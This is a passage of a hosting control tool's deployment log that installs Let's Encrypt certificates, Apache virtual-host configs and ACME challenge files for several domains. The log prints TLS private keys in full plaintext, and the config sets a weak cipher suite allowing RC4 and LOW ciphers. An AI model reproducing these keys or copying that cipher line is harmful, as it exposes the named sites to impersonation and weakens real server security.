iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-08 06:00:19:
chmod 755 /tmp/pkp131643; /tmp/pkp131643; rm /tmp/pkp131643
2025-09-08 06:00:19:
dir=/etc/ssl/certs
2025-09-08 06:00:19:
PUT: /tmp/pkp540742
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hostz_venus_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-08 06:00:19:
chmod 755 /tmp/pkp540742; /tmp/pkp540742; rm /tmp/pkp540742
2025-09-08 06:00:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf 49
<VirtualHost *:80>
ServerName emessage.email
ServerAlias venus.hostz.org
ServerAlias mail.emessage.email
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_venus
<Directory /var/www/hostz_venus>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/venus_access.log combined
ErrorLog /var/log/apache2/hostz/venus_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName emessage.email
ServerAlias venus.hostz.org
ServerAlias mail.emessage.email
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
DocumentRoot /var/www/hostz_venus
<Directory /var/www/hostz_venus>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_venus/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/venus_secure_access.log combined
ErrorLog /var/log/apache2/hostz/venus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-08 06:00:19:
PUT: /tmp/pkp477846
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_venus_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_venus_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName emessage.email
ServerAlias venus.hostz.org
ServerAlias mail.emessage.email
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_venus
<Directory /var/www/hostz_venus>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/venus_access.log combined
ErrorLog /var/log/apache2/hostz/venus_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName emessage.email
ServerAlias venus.hostz.org
ServerAlias mail.emessage.email
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
DocumentRoot /var/www/hostz_venus
<Directory /var/www/hostz_venus>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_venus/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/venus_secure_access.log combined
ErrorLog /var/log/apache2/hostz/venus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hostz_venus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hostz_venus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_venus_org.conf= 1'
fi
2025-09-08 06:00:19:
chmod 755 /tmp/pkp477846; /tmp/pkp477846; rm /tmp/pkp477846
2025-09-08 06:00:19:
2025-09-08 06:00:19:
PUT: /tmp/pkp316337
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-08 06:00:19:
chmod 755 /tmp/pkp316337; /tmp/pkp316337; rm /tmp/pkp316337
2025-09-08 06:00:19:
.
2025-09-08 06:00:19: Establishing a connection
2025-09-08 06:00:19:
PUT: /tmp/pkp174801
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-08 06:00:19:
chmod 755 /tmp/pkp174801; /tmp/pkp174801; rm /tmp/pkp174801
2025-09-08 06:00:19:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
alias list.stoughton.link
port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
alias sms.hopeinstoughton.org
port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
alias venus.hostz.org
alias mail.emessage.email
*:443 is a NameVirtualHost
default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
alias sms.hopeinstoughton.org
port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
alias venus.hostz.org
alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-09-08 06:00:19:
PUT: /tmp/pkp439795
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hostz_venus_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-08 06:00:19:
chmod 755 /tmp/pkp439795; /tmp/pkp439795; rm /tmp/pkp439795
2025-09-08 06:00:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf 1644
<VirtualHost *:80>
ServerName emessage.email
ServerAlias venus.hostz.org
ServerAlias mail.emessage.email
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_venus
<Directory /var/www/hostz_venus>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/venus_access.log combined
ErrorLog /var/log/apache2/hostz/venus_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName emessage.email
ServerAlias venus.hostz.org
ServerAlias mail.emessage.email
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
DocumentRoot /var/www/hostz_venus
<Directory /var/www/hostz_venus>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_venus/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/venus_secure_access.log combined
ErrorLog /var/log/apache2/hostz/venus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-08 06:00:19:
PUT: /tmp/pkp871886
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-08 06:00:19:
chmod 755 /tmp/pkp871886; /tmp/pkp871886; rm /tmp/pkp871886
2025-09-08 06:00:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt 5398
f7:01:e7:3b:30:f2:f5:f8:fb:73:de:e0:d7:97:65:3a
-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBlYIsPhhqsK8KLN1X0BQB/3aMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA4MDUwMTQ4WhcNMjUxMjA3MDUwMTQ3WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKj9F1JpSO9rA5vUWjcDKjFwhi+/yVCZn7vAJXH/C+GB06WRwxoohq6Eu1Qw6ow3
49Sv0bUYdJLigWhfecmBLGdJ2mmWhT9yvRg8byQt8QMOi4NbblbYzQSSStQtvJqw
D/AuO85XBxOiNg3Kb8vfVAtqwrXC4dZUlg4Z/VD/9BKZktDVq5YZhufY+ADopoJ6
+RiZapKmARuP3VWPBhtaJAAyQIIB6g3MD2Ma0pwXi/AQegS0Z13IR0qsY/lXVuvK
n1nzft5zpWWg2DH4zzziUJkIWO8ZgMW/81F6ox9Fxwy14b3SQPWaBh59tyHoTKbf
jP5WfNdFih6x46JZe8uS3tUCAwEAAaOCAkQwggJAMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUgbZz/SYricIfGhFKo+1RNIt2ar4wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2gg5lbWVzc2FnZS5lbWFpbIITbWFp
bC5lbWVzc2FnZS5lbWFpbIIPdmVudXMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
OTEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYApELFBklgYVSPD9TqnPt6
LSZFTYepfy/fRVn2J086hFQAAAGZJ+kxoQAABAMARzBFAiATChihJli0R0dl9TLK
Rjsx4VbMmmL01vn8SsXe9DPMYAIhAKiji0m/wlhPtv4Pq+RTpWd30WHrSvnYvxcz
LYqXUpexAHYA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoUEnYKLKy7yCoAAAGZJ+kx
1QAABAMARzBFAiEAxQBk2l/Wikus7++X6KpW4UqDusqoz4Q/jJEnJPIfL1oCIA7h
ZjMhIP2pyUasuvKPYF8/mJJMoqyNpblkfBB8uOmRMA0GCSqGSIb3DQEBCwUAA4IB
AQAhjjajYwn7AXyXJsq+wVl1SQHJ3Zd4mshZxH1vEwzLphND9aS38DmOUfKZhvgx
gNOvlxdIsE7QrRAgle3gZFkHGhhTl7pWlOrVuK/OYPwrnN1niYFfiolLf6RAU1+s
ElJOTkY/Ti0hhurt15ODuwYCCdh8bdwBH+D/B8RMp4D+5BH0MeWirQpcHJpNmfp4
IaIe/ImJ7VDWWM9vFWY5EFBD6IpNj5W84OOU+Biz5SauXJMxXNjgtWVv6IEImdQX
WC/cwPNCXll494iJTc8c8/d5MjBwwHhu7x78yP2M2vNwb+2jO6QVB0TbtARNGjvl
GyLzkKzGp7wUZsXiQzxDII06
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCo/RdSaUjvawOb
1Fo3AyoxcIYvv8lQmZ+7wCVx/wvhgdOlkcMaKIauhLtUMOqMN+PUr9G1GHSS4oFo
X3nJgSxnSdpploU/cr0YPG8kLfEDDouDW25W2M0EkkrULbyasA/wLjvOVwcTojYN
ym/L31QLasK1wuHWVJYOGf1Q//QSmZLQ1auWGYbn2PgA6KaCevkYmWqSpgEbj91V
jwYbWiQAMkCCAeoNzA9jGtKcF4vwEHoEtGddyEdKrGP5V1bryp9Z837ec6VloNgx
+M884lCZCFjvGYDFv/NReqMfRccMteG90kD1mgYefbch6Eym34z+VnzXRYoeseOi
WXvLkt7VAgMBAAECggEAN4IC4iARRAtbwRjslTtl5Z13hkGyB9aeYFaKNjq3lVhG
xBDwDCyZqMOSoOH8eRh2rssd0CV7TTA3n6gU4fqbMkZRBvPZSvEOaeKYA0NP8lgZ
vYkP4lkOZt0C1VU8qXcBlTwqiumNOobCyJ7hQA9YlPN5h6i+898O9wzUZ4Hbkyv0
CSKZ3o5rZLX21NKjbw7/yOEPZodd3rpkfmYYAJiWZqn2zkus+daM845kAULLM3Ne
Hubkf81zN9pMoK6UngPRdrqRmLWyu6+43PPOfH+hdrn2BdT6Lnduji89/jVYH6LR
81WbwOnrP8oqdRlqVmBrrlTUh3oPi1nlQRRLfWIbFQKBgQDY/539jw7GhaX9PVwt
4nMJcdUqYSqErLTOya9mXug44C1of1qjcX92vTws7lZobxfz3DIoM+vRWjtvUtac
KvNlxKU7rWluLokiwVEcskeFPpNR0uU7haDWKDNXy0Bi5CH/oDSFbupI4YRbep8Z
1B0E6ua4RK8VPG+IP7dEMuaYIwKBgQDHXHpGcil+Nvehvhi5D0/EFJdqGAY2waUc
pBQogpti0890b2mNilwYF/tP7eoW4ihe72EWQi5WUI73KOufntYQ0pvaq0leemh2
CRpkFgOBFVLaX/D2HZRqsKXkscw12eOBYkxFX1n712MljawHMaAmpbn2xvQI6TwP
Ewif6s3gpwKBgQDP7RcpGAQTa4qivkHuYZbTDPUxt4szN/3ES3M7R2OC5CP+hlGG
XUHCuA7KCtJXHWQ5MdwJs76Zirl6sUicuXciI6wkI8TrY8HZwJ0FPzrSzSQCem9W
enOj4T9ZN5OJbom5VHwfAymRDi5yLWv4Jsxrot3S4VVWpuNEDbGAsrlMOwKBgQCF
GeX9IH05aiN8ljlVXLapuAG7cJy9dB3zeEyJG2H44mdQWo4DVMvVvjUokTRH4OiJ
MZMFVFwxfolk1KozoM1U3/f0T4WlkV4q6Dr5dYUTapQtff6XovoTHSs0+8vWbEmr
eWBotJeUP6JPUT34c5Z0FxOIgh4t0OIrQk7wzch0YwKBgQCRdw7MsM55LJyUnR1E
L44ZRaVVr1dFek/NQ3SmddzfnmzIGxIRw8ctSJfSxsnA9vSzqAH66McYYWQMChJy
qMDpnoQWSpMdhuUTkr30gMFsIIfaTf6cHw8FKFfsrmRPtYjrCekb0PIiHMyToC+x
RHrJkNPqszY87XVZzUbeAKCSJQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-08 06:00:19: Establishing a connection
2025-09-08 06:00:19: Establishing a connection
2025-09-08 06:00:20:
PUT: /tmp/pkp394887
#!/bin/bash
if [ -d "/var/www/croydonchurch_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-08 06:00:20:
chmod 755 /tmp/pkp394887; /tmp/pkp394887; rm /tmp/pkp394887
2025-09-08 06:00:20:
1
2025-09-08 06:00:21: Establishing a connection
2025-09-08 06:00:21:
PUT: /tmp/pkp527252
#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cat > l2sw-E109Zl-Ji_wiHCWxAsjL_LdKNH2O_b1kzIV5Us <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
l2sw-E109Zl-Ji_wiHCWxAsjL_LdKNH2O_b1kzIV5Us.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 l2sw-E109Zl-Ji_wiHCWxAsjL_LdKNH2O_b1kzIV5Us
cat > xR4ewr6mVGU6QAY9fuSV97B5oR5mzo-D00DbqOzJoGg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
xR4ewr6mVGU6QAY9fuSV97B5oR5mzo-D00DbqOzJoGg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 xR4ewr6mVGU6QAY9fuSV97B5oR5mzo-D00DbqOzJoGg
2025-09-08 06:00:21:
chmod 755 /tmp/pkp527252; /tmp/pkp527252; rm /tmp/pkp527252
2025-09-08 06:00:21:
2025-09-08 06:00:31: Establishing a connection
2025-09-08 06:00:31:
PUT: /tmp/pkp737690
#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
rm l2sw-E109Zl-Ji_wiHCWxAsjL_LdKNH2O_b1kzIV5Us
rm xR4ewr6mVGU6QAY9fuSV97B5oR5mzo-D00DbqOzJoGg
2025-09-08 06:00:31:
chmod 755 /tmp/pkp737690; /tmp/pkp737690; rm /tmp/pkp737690
2025-09-08 06:00:31:
2025-09-08 06:00:31: Establishing a connection
2025-09-08 06:00:31:
PUT: /tmp/pkp953403
#!/bin/bash
temp_file=$(mktemp)
TARGET=0bcccb20615b0c7868de66072345a8b6.crt
cat > $temp_file <<'endmsg'
70:b6:7b:c9:40:c6:98:a4:a7:2e:b0:f2:ba:4f:50:3a
-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBi5hvyT2dhpBqAw7vwSGrPBOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA4MDUwMjAwWhcNMjUxMjA3MDUwMTU5WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCwW0AVMh3Z56HHAnqY994rqILq/DYvaWjonTLY7DiMbZ5/9uKg3EzguYQ1
j77y2r40d6g7gbdSBScHw4/mOw6JDeVidwlvJDK/A1cZtYU6F/xaF2pWeRd29YGd
4RXBh6ine1Gxcsz2KGxmVUlgoQyWBY4Bix/dTls4kj3B2ztUQ1KlU/XAIiRgMIPw
qk8AlQUQkc6BVrfwjVAv46+ARvH/B4mPwJFwdNkYYJdDD+I+Fg+rt6fJdp5vc8qn
ZzkpQ0umUj8ICTDTm5MDS7szsHhbnZgfPhDThze/7TVnLQ3ER+nw3ZreJMrFU8+H
1zsZNt1WKK5bpDJl8MIGV8tUNQ+pAgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFMevk5OIdGKTMQK/2+5pbsAUCoxWMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY3JveWRvbmNodXJjaC5p
bmZvghZ3d3cuY3JveWRvbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzkuY3Js
MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAzPsPaoVxCWX+lZtTzumyfCLphVwN
l422qX5UwP5MDbAAAAGZJ+ljRAAABAMARzBFAiEA0FDDr6LQkDgh3UQAtPjKypis
X9IqLhn/iO9Y5v+SYwACIBUG0xT6DfBqSysAEqcmivm6a6tt/rbtEc5CBra6mDb0
AHUADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDvDkIetH5OqjQAAAGZJ+ljLwAABAMA
RjBEAiBdaWfMMlira4PfPyO8mFuOo01+8IE4m8fQBx+CvUxYtAIgaemfrwQO07X+
SV2CuZVV/Jt4Cjxmu/488gIdQo8TDC4wDQYJKoZIhvcNAQELBQADggEBAAxJKmGc
o0S1LtXo13gPDyedhc01omNnlIp6oMc5T+5FJQhN4rPdepCb9njXny1IvgM48RUw
xIOTvEpckiwxnQQFpG2jrKF3K0DboO8fxKahhm3XYx6XgVTD7PG7pyQ3dejfJ6Od
45s3kHkAeTfMmzVXDCy6eUfPqIrEa5c8yp/6QyOEo28sItxa38nxnznH1p4OSELd
qOjk7PmaACGYaUvOVHPGLjD3t3jl1p33wTQxBgN+tf6ApO//bUC+La4+JykYdWI3
de9XTyrIupnp1j4gLxaAUIdaOKT8JLOf91VKfvTZhqzT8vzNOZtC6LOIsbVAF2pT
L5h/TKhxRauCSAQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwW0AVMh3Z56HH
AnqY994rqILq/DYvaWjonTLY7DiMbZ5/9uKg3EzguYQ1j77y2r40d6g7gbdSBScH
w4/mOw6JDeVidwlvJDK/A1cZtYU6F/xaF2pWeRd29YGd4RXBh6ine1Gxcsz2KGxm
VUlgoQyWBY4Bix/dTls4kj3B2ztUQ1KlU/XAIiRgMIPwqk8AlQUQkc6BVrfwjVAv
46+ARvH/B4mPwJFwdNkYYJdDD+I+Fg+rt6fJdp5vc8qnZzkpQ0umUj8ICTDTm5MD
S7szsHhbnZgfPhDThze/7TVnLQ3ER+nw3ZreJMrFU8+H1zsZNt1WKK5bpDJl8MIG
V8tUNQ+pAgMBAAECggEAAXmB26uDnGLXc3aN1+Gatfq+vYBGY7cZ7XgDCNVQ07vG
64MA+h9ddTOX62q8SgOSO5YUjgrToZfxb5svBNnRkUvQczZTmd5PnlFE1S4zYvz4
Wzh+5yI0FAaRguRy7h9YRa4+TKGNHTHRVjm4V1qBZG+/dDvZlFwnXx257nkK0fWK
mU4wGLs9ZQTZyE5FrveVMfgb7cGxpF5PMzKlMhkDqAC4qRMvl8ksxR1Hq/p0y0/r
3GG2oUS8gDVXTbygJO2DsSd2Pxlx+dfsvfSB+F+aCdYOOPN3tTIJSZAHk3lE1gg2
